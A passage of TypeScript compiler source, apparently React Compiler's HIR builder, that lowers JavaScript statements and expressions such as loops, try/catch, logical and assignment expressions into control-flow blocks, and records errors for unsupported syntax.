/*\n       * The conditional block is empty and exists solely as conditional for\n       * (re)entering or exiting the loop\n       */\n      const test = lowerExpressionToTemporary(builder, stmt.get('test'));\n      const terminal: BranchTerminal = {\n        kind: 'branch',\n        test,\n        consequent: loopBlock,\n        alternate: continuationBlock.id,\n        fallthrough: conditionalBlock.id,\n        id: makeInstructionId(0),\n        loc,\n      };\n      //  Complete the conditional and continue with code after the loop\n      builder.terminateWithContinuation(terminal, continuationBlock);\n      return;\n    }\n    case 'FunctionDeclaration': {\n      const stmt = stmtPath as NodePath<t.FunctionDeclaration>;\n      stmt.skip();\n      CompilerError.invariant(stmt.get('id').type === 'Identifier', {\n        reason: 'function declarations must have a name',\n        loc: stmt.node.loc ?? GeneratedSource,\n      });\n      const id = stmt.get('id') as NodePath<t.Identifier>;\n\n      const fn = lowerValueToTemporary(\n        builder,\n        lowerFunctionToValue(builder, stmt),\n      );\n      lowerAssignment(\n        builder,\n        stmt.node.loc ?? GeneratedSource,\n        InstructionKind.Function,\n        id,\n        fn,\n        'Assignment',\n      );\n\n      return;\n    }\n    case 'ForOfStatement': {\n      const stmt = stmtPath as NodePath<t.ForOfStatement>;\n      const continuationBlock = builder.reserve('block');\n      const initBlock = builder.reserve('loop');\n      const testBlock = builder.reserve('loop');\n\n      if (stmt.node.await) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerStatement) Handle for-await loops`,\n            category: ErrorCategory.Todo,\n            loc: stmt.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return;\n      }\n\n      const loopBlock = builder.enter('block', _blockId => {\n        return builder.loop(label, initBlock.id, continuationBlock.id, () => {\n          const body = stmt.get('body');\n          lowerStatement(builder, body);\n          return {\n            kind: 'goto',\n            block: initBlock.id,\n            variant: GotoVariant.Continue,\n            id: makeInstructionId(0),\n            loc: body.node.loc ?? GeneratedSource,\n          };\n        });\n      });\n\n      const loc = stmt.node.loc ?? GeneratedSource;\n      const value = lowerExpressionToTemporary(builder, stmt.get('right'));\n      builder.terminateWithContinuation(\n        {\n          kind: 'for-of',\n          loc,\n          init: initBlock.id,\n          test: testBlock.id,\n          loop: loopBlock,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n        },\n        initBlock,\n      );\n\n      /*\n       * The init of a ForOf statement is compound over a left (VariableDeclaration | LVal) and\n       * right (Expression), so we synthesize a new InstrValue and assignment (potentially multiple\n       * instructions when we handle other syntax like Patterns)\n       */\n      const iterator = lowerValueToTemporary(builder, {\n        kind: 'GetIterator',\n        loc: value.loc,\n        collection: {...value},\n      });\n      builder.terminateWithContinuation(\n        {\n          id: makeInstructionId(0),\n          kind: 'goto',\n          block: testBlock.id,\n          variant: GotoVariant.Break,\n          loc: stmt.node.loc ?? GeneratedSource,\n        },\n        testBlock,\n      );\n\n      const left = stmt.get('left');\n      const leftLoc = left.node.loc ?? GeneratedSource;\n      let test: Place;\n      const advanceIterator = lowerValueToTemporary(builder, {\n        kind: 'IteratorNext',\n        loc: leftLoc,\n        iterator: {...iterator},\n        collection: {...value},\n      });\n      if (left.isVariableDeclaration()) {\n        const declarations = left.get('declarations');\n        CompilerError.invariant(declarations.length === 1, {\n          reason: `Expected only one declaration in the init of a ForOfStatement, got ${declarations.length}`,\n          loc: left.node.loc ?? GeneratedSource,\n        });\n        const id = declarations[0].get('id');\n        const assign = lowerAssignment(\n          builder,\n          leftLoc,\n          InstructionKind.Let,\n          id,\n          advanceIterator,\n          'Assignment',\n        );\n        test = lowerValueToTemporary(builder, assign);\n      } else {\n        CompilerError.invariant(left.isLVal(), {\n          reason: 'Expected ForOf init to be a variable declaration or lval',\n          loc: leftLoc,\n        });\n        const assign = lowerAssignment(\n          builder,\n          leftLoc,\n          InstructionKind.Reassign,\n          left,\n          advanceIterator,\n          'Assignment',\n        );\n        test = lowerValueToTemporary(builder, assign);\n      }\n      builder.terminateWithContinuation(\n        {\n          id: makeInstructionId(0),\n          kind: 'branch',\n          test,\n          consequent: loopBlock,\n          alternate: continuationBlock.id,\n          loc: stmt.node.loc ?? GeneratedSource,\n          fallthrough: continuationBlock.id,\n        },\n        continuationBlock,\n      );\n      return;\n    }\n    case 'ForInStatement': {\n      const stmt = stmtPath as NodePath<t.ForInStatement>;\n      const continuationBlock = builder.reserve('block');\n      const initBlock = builder.reserve('loop');\n\n      const loopBlock = builder.enter('block', _blockId => {\n        return builder.loop(label, initBlock.id, continuationBlock.id, () => {\n          const body = stmt.get('body');\n          lowerStatement(builder, body);\n          return {\n            kind: 'goto',\n            block: initBlock.id,\n            variant: GotoVariant.Continue,\n            id: makeInstructionId(0),\n            loc: body.node.loc ?? GeneratedSource,\n          };\n        });\n      });\n\n      const loc = stmt.node.loc ?? GeneratedSource;\n      const value = lowerExpressionToTemporary(builder, stmt.get('right'));\n      builder.terminateWithContinuation(\n        {\n          kind: 'for-in',\n          loc,\n          init: initBlock.id,\n          loop: loopBlock,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n        },\n        initBlock,\n      );\n\n      /*\n       * The init of a ForIn statement is compound over a left (VariableDeclaration | LVal) and\n       * right (Expression), so we synthesize a new InstrValue and assignment (potentially multiple\n       * instructions when we handle other syntax like Patterns)\n       */\n      const left = stmt.get('left');\n      const leftLoc = left.node.loc ?? GeneratedSource;\n      let test: Place;\n      const nextPropertyTemp = lowerValueToTemporary(builder, {\n        kind: 'NextPropertyOf',\n        loc: leftLoc,\n        value,\n      });\n      if (left.isVariableDeclaration()) {\n        const declarations = left.get('declarations');\n        CompilerError.invariant(declarations.length === 1, {\n          reason: `Expected only one declaration in the init of a ForInStatement, got ${declarations.length}`,\n          loc: left.node.loc ?? GeneratedSource,\n        });\n        const id = declarations[0].get('id');\n        const assign = lowerAssignment(\n          builder,\n          leftLoc,\n          InstructionKind.Let,\n          id,\n          nextPropertyTemp,\n          'Assignment',\n        );\n        test = lowerValueToTemporary(builder, assign);\n      } else {\n        CompilerError.invariant(left.isLVal(), {\n          reason: 'Expected ForIn init to be a variable declaration or lval',\n          loc: leftLoc,\n        });\n        const assign = lowerAssignment(\n          builder,\n          leftLoc,\n          InstructionKind.Reassign,\n          left,\n          nextPropertyTemp,\n          'Assignment',\n        );\n        test = lowerValueToTemporary(builder, assign);\n      }\n      builder.terminateWithContinuation(\n        {\n          id: makeInstructionId(0),\n          kind: 'branch',\n          test,\n          consequent: loopBlock,\n          alternate: continuationBlock.id,\n          fallthrough: continuationBlock.id,\n          loc: stmt.node.loc ?? GeneratedSource,\n        },\n        continuationBlock,\n      );\n      return;\n    }\n    case 'DebuggerStatement': {\n      const stmt = stmtPath as NodePath<t.DebuggerStatement>;\n      const loc = stmt.node.loc ?? GeneratedSource;\n      builder.push({\n        id: makeInstructionId(0),\n        lvalue: buildTemporaryPlace(builder, loc),\n        value: {\n          kind: 'Debugger',\n          loc,\n        },\n        effects: null,\n        loc,\n      });\n      return;\n    }\n    case 'EmptyStatement': {\n      return;\n    }\n    case 'TryStatement': {\n      const stmt = stmtPath as NodePath<t.TryStatement>;\n      const continuationBlock = builder.reserve('block');\n\n      const handlerPath = stmt.get('handler');\n      if (!hasNode(handlerPath)) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerStatement) Handle TryStatement without a catch clause`,\n            category: ErrorCategory.Todo,\n            loc: stmt.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return;\n      }\n      if (hasNode(stmt.get('finalizer'))) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerStatement) Handle TryStatement with a finalizer ('finally') clause`,\n            category: ErrorCategory.Todo,\n            loc: stmt.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n      }\n\n      const handlerBindingPath = handlerPath.get('param');\n      let handlerBinding: {\n        place: Place;\n        path: NodePath<t.Identifier | t.ArrayPattern | t.ObjectPattern>;\n      } | null = null;\n      if (hasNode(handlerBindingPath)) {\n        const place: Place = {\n          kind: 'Identifier',\n          identifier: builder.makeTemporary(\n            handlerBindingPath.node.loc ?? GeneratedSource,\n          ),\n          effect: Effect.Unknown,\n          reactive: false,\n          loc: handlerBindingPath.node.loc ?? GeneratedSource,\n        };\n        promoteTemporary(place.identifier);\n        lowerValueToTemporary(builder, {\n          kind: 'DeclareLocal',\n          lvalue: {\n            kind: InstructionKind.Catch,\n            place: {...place},\n          },\n          type: null,\n          loc: handlerBindingPath.node.loc ?? GeneratedSource,\n        });\n\n        handlerBinding = {\n          path: handlerBindingPath,\n          place,\n        };\n      }\n\n      const handler = builder.enter('catch', _blockId => {\n        if (handlerBinding !== null) {\n          lowerAssignment(\n            builder,\n            handlerBinding.path.node.loc ?? GeneratedSource,\n            InstructionKind.Catch,\n            handlerBinding.path,\n            {...handlerBinding.place},\n            'Assignment',\n          );\n        }\n        lowerStatement(builder, handlerPath.get('body'));\n        return {\n          kind: 'goto',\n          block: continuationBlock.id,\n          variant: GotoVariant.Break,\n          id: makeInstructionId(0),\n          loc: handlerPath.node.loc ?? GeneratedSource,\n        };\n      });\n\n      const block = builder.enter('block', _blockId => {\n        const block = stmt.get('block');\n        builder.enterTryCatch(handler, () => {\n          lowerStatement(builder, block);\n        });\n        return {\n          kind: 'goto',\n          block: continuationBlock.id,\n          variant: GotoVariant.Try,\n          id: makeInstructionId(0),\n          loc: block.node.loc ?? GeneratedSource,\n        };\n      });\n\n      builder.terminateWithContinuation(\n        {\n          kind: 'try',\n          block,\n          handlerBinding:\n            handlerBinding !== null ? {...handlerBinding.place} : null,\n          handler,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n          loc: stmt.node.loc ?? GeneratedSource,\n        },\n        continuationBlock,\n      );\n\n      return;\n    }\n    case 'WithStatement': {\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: `JavaScript 'with' syntax is not supported`,\n          description: `'with' syntax is considered deprecated and removed from JavaScript standards, consider alternatives`,\n          category: ErrorCategory.UnsupportedSyntax,\n          loc: stmtPath.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      lowerValueToTemporary(builder, {\n        kind: 'UnsupportedNode',\n        loc: stmtPath.node.loc ?? GeneratedSource,\n        node: stmtPath.node,\n      });\n      return;\n    }\n    case 'ClassDeclaration': {\n      /**\n       * In theory we could support inline class declarations, but this is rare enough in practice\n       * and complex enough to support that we don't anticipate supporting anytime soon. Developers\n       * are encouraged to lift classes out of component/hook declarations.\n       */\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: 'Inline `class` declarations are not supported',\n          description: `Move class declarations outside of components/hooks`,\n          category: ErrorCategory.UnsupportedSyntax,\n          loc: stmtPath.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      lowerValueToTemporary(builder, {\n        kind: 'UnsupportedNode',\n        loc: stmtPath.node.loc ?? GeneratedSource,\n        node: stmtPath.node,\n      });\n      return;\n    }\n    case 'EnumDeclaration':\n    case 'TSEnumDeclaration': {\n      lowerValueToTemporary(builder, {\n        kind: 'UnsupportedNode',\n        loc: stmtPath.node.loc ?? GeneratedSource,\n        node: stmtPath.node,\n      });\n      return;\n    }\n    case 'ExportAllDeclaration':\n    case 'ExportDefaultDeclaration':\n    case 'ExportNamedDeclaration':\n    case 'ImportDeclaration':\n    case 'TSExportAssignment':\n    case 'TSImportEqualsDeclaration': {\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason:\n            'JavaScript `import` and `export` statements may only appear at the top level of a module',\n          category: ErrorCategory.Syntax,\n          loc: stmtPath.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      lowerValueToTemporary(builder, {\n        kind: 'UnsupportedNode',\n        loc: stmtPath.node.loc ?? GeneratedSource,\n        node: stmtPath.node,\n      });\n      return;\n    }\n    case 'TSNamespaceExportDeclaration': {\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason:\n            'TypeScript `namespace` statements may only appear at the top level of a module',\n          category: ErrorCategory.Syntax,\n          loc: stmtPath.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      lowerValueToTemporary(builder, {\n        kind: 'UnsupportedNode',\n        loc: stmtPath.node.loc ?? GeneratedSource,\n        node: stmtPath.node,\n      });\n      return;\n    }\n    case 'DeclareClass':\n    case 'DeclareExportAllDeclaration':\n    case 'DeclareExportDeclaration':\n    case 'DeclareFunction':\n    case 'DeclareInterface':\n    case 'DeclareModule':\n    case 'DeclareModuleExports':\n    case 'DeclareOpaqueType':\n    case 'DeclareTypeAlias':\n    case 'DeclareVariable':\n    case 'InterfaceDeclaration':\n    case 'OpaqueType':\n    case 'TSDeclareFunction':\n    case 'TSInterfaceDeclaration':\n    case 'TSModuleDeclaration':\n    case 'TSTypeAliasDeclaration':\n    case 'TypeAlias': {\n      // We do not preserve type annotations/syntax through transformation\n      return;\n    }\n    default: {\n      return assertExhaustive(\n        stmtNode,\n        `Unsupported statement kind '${\n          (stmtNode as any as NodePath<t.Statement>).type\n        }'`,\n      );\n    }\n  }\n}\n\nfunction lowerObjectMethod(\n  builder: HIRBuilder,\n  property: NodePath<t.ObjectMethod>,\n): InstructionValue {\n  const loc = property.node.loc ?? GeneratedSource;\n  const loweredFunc = lowerFunction(builder, property);\n\n  return {\n    kind: 'ObjectMethod',\n    loc,\n    loweredFunc,\n  };\n}\n\nfunction lowerObjectPropertyKey(\n  builder: HIRBuilder,\n  property: NodePath<t.ObjectProperty | t.ObjectMethod>,\n): ObjectPropertyKey | null {\n  const key = property.get('key');\n  if (key.isStringLiteral()) {\n    return {\n      kind: 'string',\n      name: key.node.value,\n    };\n  } else if (property.node.computed && key.isExpression()) {\n    const place = lowerExpressionToTemporary(builder, key);\n    return {\n      kind: 'computed',\n      name: place,\n    };\n  } else if (key.isIdentifier()) {\n    return {\n      kind: 'identifier',\n      name: key.node.name,\n    };\n  } else if (key.isNumericLiteral()) {\n    return {\n      kind: 'identifier',\n      name: String(key.node.value),\n    };\n  }\n\n  builder.recordError(\n    new CompilerErrorDetail({\n      reason: `(BuildHIR::lowerExpression) Expected Identifier, got ${key.type} key in ObjectExpression`,\n      category: ErrorCategory.Todo,\n      loc: key.node.loc ?? null,\n      suggestions: null,\n    }),\n  );\n  return null;\n}\n\nfunction lowerExpression(\n  builder: HIRBuilder,\n  exprPath: NodePath<t.Expression>,\n): InstructionValue {\n  const exprNode = exprPath.node;\n  const exprLoc = exprNode.loc ?? GeneratedSource;\n  switch (exprNode.type) {\n    case 'Identifier': {\n      const expr = exprPath as NodePath<t.Identifier>;\n      const place = lowerIdentifier(builder, expr);\n      return {\n        kind: getLoadKind(builder, expr),\n        place,\n        loc: exprLoc,\n      };\n    }\n    case 'NullLiteral': {\n      return {\n        kind: 'Primitive',\n        value: null,\n        loc: exprLoc,\n      };\n    }\n    case 'BooleanLiteral':\n    case 'NumericLiteral':\n    case 'StringLiteral': {\n      const expr = exprPath as NodePath<\n        t.StringLiteral | t.BooleanLiteral | t.NumericLiteral\n      >;\n      const value = expr.node.value;\n      return {\n        kind: 'Primitive',\n        value,\n        loc: exprLoc,\n      };\n    }\n    case 'ObjectExpression': {\n      const expr = exprPath as NodePath<t.ObjectExpression>;\n      const propertyPaths = expr.get('properties');\n      const properties: Array<ObjectProperty | SpreadPattern> = [];\n      for (const propertyPath of propertyPaths) {\n        if (propertyPath.isObjectProperty()) {\n          const loweredKey = lowerObjectPropertyKey(builder, propertyPath);\n          if (!loweredKey) {\n            continue;\n          }\n          const valuePath = propertyPath.get('value');\n          if (!valuePath.isExpression()) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerExpression) Handle ${valuePath.type} values in ObjectExpression`,\n                category: ErrorCategory.Todo,\n                loc: valuePath.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            continue;\n          }\n          const value = lowerExpressionToTemporary(builder, valuePath);\n          properties.push({\n            kind: 'ObjectProperty',\n            type: 'property',\n            place: value,\n            key: loweredKey,\n          });\n        } else if (propertyPath.isSpreadElement()) {\n          const place = lowerExpressionToTemporary(\n            builder,\n            propertyPath.get('argument'),\n          );\n          properties.push({\n            kind: 'Spread',\n            place,\n          });\n        } else if (propertyPath.isObjectMethod()) {\n          if (propertyPath.node.kind !== 'method') {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerExpression) Handle ${propertyPath.node.kind} functions in ObjectExpression`,\n                category: ErrorCategory.Todo,\n                loc: propertyPath.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            continue;\n          }\n          const method = lowerObjectMethod(builder, propertyPath);\n          const place = lowerValueToTemporary(builder, method);\n          const loweredKey = lowerObjectPropertyKey(builder, propertyPath);\n          if (!loweredKey) {\n            continue;\n          }\n          properties.push({\n            kind: 'ObjectProperty',\n            type: 'method',\n            place,\n            key: loweredKey,\n          });\n        } else {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `(BuildHIR::lowerExpression) Handle ${propertyPath.type} properties in ObjectExpression`,\n              category: ErrorCategory.Todo,\n              loc: propertyPath.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n          continue;\n        }\n      }\n      return {\n        kind: 'ObjectExpression',\n        properties,\n        loc: exprLoc,\n      };\n    }\n    case 'ArrayExpression': {\n      const expr = exprPath as NodePath<t.ArrayExpression>;\n      let elements: ArrayExpression['elements'] = [];\n      for (const element of expr.get('elements')) {\n        if (element.node == null) {\n          elements.push({\n            kind: 'Hole',\n          });\n          continue;\n        } else if (element.isExpression()) {\n          elements.push(lowerExpressionToTemporary(builder, element));\n        } else if (element.isSpreadElement()) {\n          const place = lowerExpressionToTemporary(\n            builder,\n            element.get('argument'),\n          );\n          elements.push({kind: 'Spread', place});\n        } else {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `(BuildHIR::lowerExpression) Handle ${element.type} elements in ArrayExpression`,\n              category: ErrorCategory.Todo,\n              loc: element.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n          continue;\n        }\n      }\n      return {\n        kind: 'ArrayExpression',\n        elements,\n        loc: exprLoc,\n      };\n    }\n    case 'NewExpression': {\n      const expr = exprPath as NodePath<t.NewExpression>;\n      const calleePath = expr.get('callee');\n      if (!calleePath.isExpression()) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `Expected an expression as the \\`new\\` expression receiver (v8 intrinsics are not supported)`,\n            description: `Got a \\`${calleePath.node.type}\\``,\n            category: ErrorCategory.Syntax,\n            loc: calleePath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n      const callee = lowerExpressionToTemporary(builder, calleePath);\n      const args = lowerArguments(builder, expr.get('arguments'));\n\n      return {\n        kind: 'NewExpression',\n        callee,\n        args,\n        loc: exprLoc,\n      };\n    }\n    case 'OptionalCallExpression': {\n      const expr = exprPath as NodePath<t.OptionalCallExpression>;\n      return lowerOptionalCallExpression(builder, expr, null);\n    }\n    case 'CallExpression': {\n      const expr = exprPath as NodePath<t.CallExpression>;\n      const calleePath = expr.get('callee');\n      if (!calleePath.isExpression()) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `Expected Expression, got ${calleePath.type} in CallExpression (v8 intrinsics not supported). This error is likely caused by a bug in React Compiler. Please file an issue`,\n            category: ErrorCategory.Todo,\n            loc: calleePath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n      if (calleePath.isMemberExpression()) {\n        const memberExpr = lowerMemberExpression(builder, calleePath);\n        const propertyPlace = lowerValueToTemporary(builder, memberExpr.value);\n        const args = lowerArguments(builder, expr.get('arguments'));\n        return {\n          kind: 'MethodCall',\n          receiver: memberExpr.object,\n          property: {...propertyPlace},\n          args,\n          loc: exprLoc,\n        };\n      } else {\n        const callee = lowerExpressionToTemporary(builder, calleePath);\n        const args = lowerArguments(builder, expr.get('arguments'));\n        return {\n          kind: 'CallExpression',\n          callee,\n          args,\n          loc: exprLoc,\n        };\n      }\n    }\n    case 'BinaryExpression': {\n      const expr = exprPath as NodePath<t.BinaryExpression>;\n      const leftPath = expr.get('left');\n      if (!leftPath.isExpression()) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerExpression) Expected Expression, got ${leftPath.type} lval in BinaryExpression`,\n            category: ErrorCategory.Todo,\n            loc: leftPath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n      const left = lowerExpressionToTemporary(builder, leftPath);\n      const right = lowerExpressionToTemporary(builder, expr.get('right'));\n      const operator = expr.node.operator;\n      if (operator === '|>') {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerExpression) Pipe operator not supported`,\n            category: ErrorCategory.Todo,\n            loc: leftPath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n      return {\n        kind: 'BinaryExpression',\n        operator,\n        left,\n        right,\n        loc: exprLoc,\n      };\n    }\n    case 'SequenceExpression': {\n      const expr = exprPath as NodePath<t.SequenceExpression>;\n      const exprLoc = expr.node.loc ?? GeneratedSource;\n\n      const continuationBlock = builder.reserve(builder.currentBlockKind());\n      const place = buildTemporaryPlace(builder, exprLoc);\n\n      const sequenceBlock = builder.enter('sequence', _ => {\n        let last: Place | null = null;\n        for (const item of expr.get('expressions')) {\n          last = lowerExpressionToTemporary(builder, item);\n        }\n        if (last === null) {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `Expected sequence expression to have at least one expression`,\n              category: ErrorCategory.Syntax,\n              loc: expr.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n        } else {\n          lowerValueToTemporary(builder, {\n            kind: 'StoreLocal',\n            lvalue: {kind: InstructionKind.Const, place: {...place}},\n            value: last,\n            type: null,\n            loc: exprLoc,\n          });\n        }\n        return {\n          kind: 'goto',\n          id: makeInstructionId(0),\n          block: continuationBlock.id,\n          loc: exprLoc,\n          variant: GotoVariant.Break,\n        };\n      });\n\n      builder.terminateWithContinuation(\n        {\n          kind: 'sequence',\n          block: sequenceBlock,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n          loc: exprLoc,\n        },\n        continuationBlock,\n      );\n      return {kind: 'LoadLocal', place, loc: place.loc};\n    }\n    case 'ConditionalExpression': {\n      const expr = exprPath as NodePath<t.ConditionalExpression>;\n      const exprLoc = expr.node.loc ?? GeneratedSource;\n\n      //  Block for code following the if\n      const continuationBlock = builder.reserve(builder.currentBlockKind());\n      const testBlock = builder.reserve('value');\n      const place = buildTemporaryPlace(builder, exprLoc);\n\n      //  Block for the consequent (if the test is truthy)\n      const consequentBlock = builder.enter('value', _blockId => {\n        const consequentPath = expr.get('consequent');\n        const consequent = lowerExpressionToTemporary(builder, consequentPath);\n        lowerValueToTemporary(builder, {\n          kind: 'StoreLocal',\n          lvalue: {kind: InstructionKind.Const, place: {...place}},\n          value: consequent,\n          type: null,\n          loc: exprLoc,\n        });\n        return {\n          kind: 'goto',\n          block: continuationBlock.id,\n          variant: GotoVariant.Break,\n          id: makeInstructionId(0),\n          loc: consequentPath.node.loc ?? GeneratedSource,\n        };\n      });\n      //  Block for the alternate (if the test is not truthy)\n      const alternateBlock = builder.enter('value', _blockId => {\n        const alternatePath = expr.get('alternate');\n        const alternate = lowerExpressionToTemporary(builder, alternatePath);\n        lowerValueToTemporary(builder, {\n          kind: 'StoreLocal',\n          lvalue: {kind: InstructionKind.Const, place: {...place}},\n          value: alternate,\n          type: null,\n          loc: exprLoc,\n        });\n        return {\n          kind: 'goto',\n          block: continuationBlock.id,\n          variant: GotoVariant.Break,\n          id: makeInstructionId(0),\n          loc: alternatePath.node.loc ?? GeneratedSource,\n        };\n      });\n\n      builder.terminateWithContinuation(\n        {\n          kind: 'ternary',\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n          test: testBlock.id,\n          loc: exprLoc,\n        },\n        testBlock,\n      );\n      const testPlace = lowerExpressionToTemporary(builder, expr.get('test'));\n      builder.terminateWithContinuation(\n        {\n          kind: 'branch',\n          test: {...testPlace},\n          consequent: consequentBlock,\n          alternate: alternateBlock,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n          loc: exprLoc,\n        },\n        continuationBlock,\n      );\n      return {kind: 'LoadLocal', place, loc: place.loc};\n    }\n    case 'LogicalExpression': {\n      const expr = exprPath as NodePath<t.LogicalExpression>;\n      const exprLoc = expr.node.loc ?? GeneratedSource;\n      const continuationBlock = builder.reserve(builder.currentBlockKind());\n      const testBlock = builder.reserve('value');\n      const place = buildTemporaryPlace(builder, exprLoc);\n      const leftPlace = buildTemporaryPlace(\n        builder,\n        expr.get('left').node.loc ?? GeneratedSource,\n      );\n      const consequent = builder.enter('value', () => {\n        lowerValueToTemporary(builder, {\n          kind: 'StoreLocal',\n          lvalue: {kind: InstructionKind.Const, place: {...place}},\n          value: {...leftPlace},\n          type: null,\n          loc: leftPlace.loc,\n        });\n        return {\n          kind: 'goto',\n          block: continuationBlock.id,\n          variant: GotoVariant.Break,\n          id: makeInstructionId(0),\n          loc: leftPlace.loc,\n        };\n      });\n      const alternate = builder.enter('value', () => {\n        const right = lowerExpressionToTemporary(builder, expr.get('right'));\n        lowerValueToTemporary(builder, {\n          kind: 'StoreLocal',\n          lvalue: {kind: InstructionKind.Const, place: {...place}},\n          value: {...right},\n          type: null,\n          loc: right.loc,\n        });\n        return {\n          kind: 'goto',\n          block: continuationBlock.id,\n          variant: GotoVariant.Break,\n          id: makeInstructionId(0),\n          loc: right.loc,\n        };\n      });\n      builder.terminateWithContinuation(\n        {\n          kind: 'logical',\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n          test: testBlock.id,\n          operator: expr.node.operator,\n          loc: exprLoc,\n        },\n        testBlock,\n      );\n      const leftValue = lowerExpressionToTemporary(builder, expr.get('left'));\n      builder.push({\n        id: makeInstructionId(0),\n        lvalue: {...leftPlace},\n        value: {\n          kind: 'LoadLocal',\n          place: leftValue,\n          loc: exprLoc,\n        },\n        effects: null,\n        loc: exprLoc,\n      });\n      builder.terminateWithContinuation(\n        {\n          kind: 'branch',\n          test: {...leftPlace},\n          consequent,\n          alternate,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n          loc: exprLoc,\n        },\n        continuationBlock,\n      );\n      return {kind: 'LoadLocal', place, loc: place.loc};\n    }\n    case 'AssignmentExpression': {\n      const expr = exprPath as NodePath<t.AssignmentExpression>;\n      const operator = expr.node.operator;\n\n      if (operator === '=') {\n        const left = expr.get('left');\n        if (left.isLVal()) {\n          return lowerAssignment(\n            builder,\n            left.node.loc ?? GeneratedSource,\n            InstructionKind.Reassign,\n            left,\n            lowerExpressionToTemporary(builder, expr.get('right')),\n            left.isArrayPattern() || left.isObjectPattern()\n              ? 'Destructure'\n              : 'Assignment',\n          );\n        } else {\n          /**\n           * OptionalMemberExpressions as the left side of an AssignmentExpression are Stage 1 and\n           * not supported by React Compiler yet.\n           */\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `(BuildHIR::lowerExpression) Unsupported syntax on the left side of an AssignmentExpression`,\n              description: `Expected an LVal, got: ${left.type}`,\n              category: ErrorCategory.Todo,\n              loc: left.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n          return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n        }\n      }\n\n      const operators: {\n        [key: string]: Exclude<t.BinaryExpression['operator'], '|>'>;\n      } = {\n        '+=': '+',\n        '-=': '-',\n        '/=': '/',\n        '%=': '%',\n        '*=': '*',\n        '**=': '**',\n        '&=': '&',\n        '|=': '|',\n        '>>=': '>>',\n        '>>>=': '>>>',\n        '<<=': '<<',\n        '^=': '^',\n      };\n      const binaryOperator = operators[operator];\n      if (binaryOperator == null) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerExpression) Handle ${operator} operators in AssignmentExpression`,\n            category: ErrorCategory.Todo,\n            loc: expr.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n      const left = expr.get('left');\n      const leftNode = left.node;\n      switch (leftNode.type) {\n        case 'Identifier': {\n          const leftExpr = left as NodePath<t.Identifier>;\n          const leftPlace = lowerExpressionToTemporary(builder, leftExpr);\n          const right = lowerExpressionToTemporary(builder, expr.get('right'));\n          const binaryPlace = lowerValueToTemporary(builder, {\n            kind: 'BinaryExpression',\n            operator: binaryOperator,\n            left: leftPlace,\n            right,\n            loc: exprLoc,\n          });\n          const binding = builder.resolveIdentifier(leftExpr);\n          if (binding.kind === 'Identifier') {\n            const identifier = lowerIdentifier(builder, leftExpr);\n            const kind = getStoreKind(builder, leftExpr);\n            if (kind === 'StoreLocal') {\n              lowerValueToTemporary(builder, {\n                kind: 'StoreLocal',\n                lvalue: {\n                  place: {...identifier},\n                  kind: InstructionKind.Reassign,\n                },\n                value: {...binaryPlace},\n                type: null,\n                loc: exprLoc,\n              });\n              return {kind: 'LoadLocal', place: identifier, loc: exprLoc};\n            } else {\n              lowerValueToTemporary(builder, {\n                kind: 'StoreContext',\n                lvalue: {\n                  place: {...identifier},\n                  kind: InstructionKind.Reassign,\n                },\n                value: {...binaryPlace},\n                loc: exprLoc,\n              });\n              return {kind: 'LoadContext', place: identifier, loc: exprLoc};\n            }\n          } else {\n            const temporary = lowerValueToTemporary(builder, {\n              kind: 'StoreGlobal',\n              name: leftExpr.node.name,\n              value: {...binaryPlace},\n              loc: exprLoc,\n            });\n            return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};\n   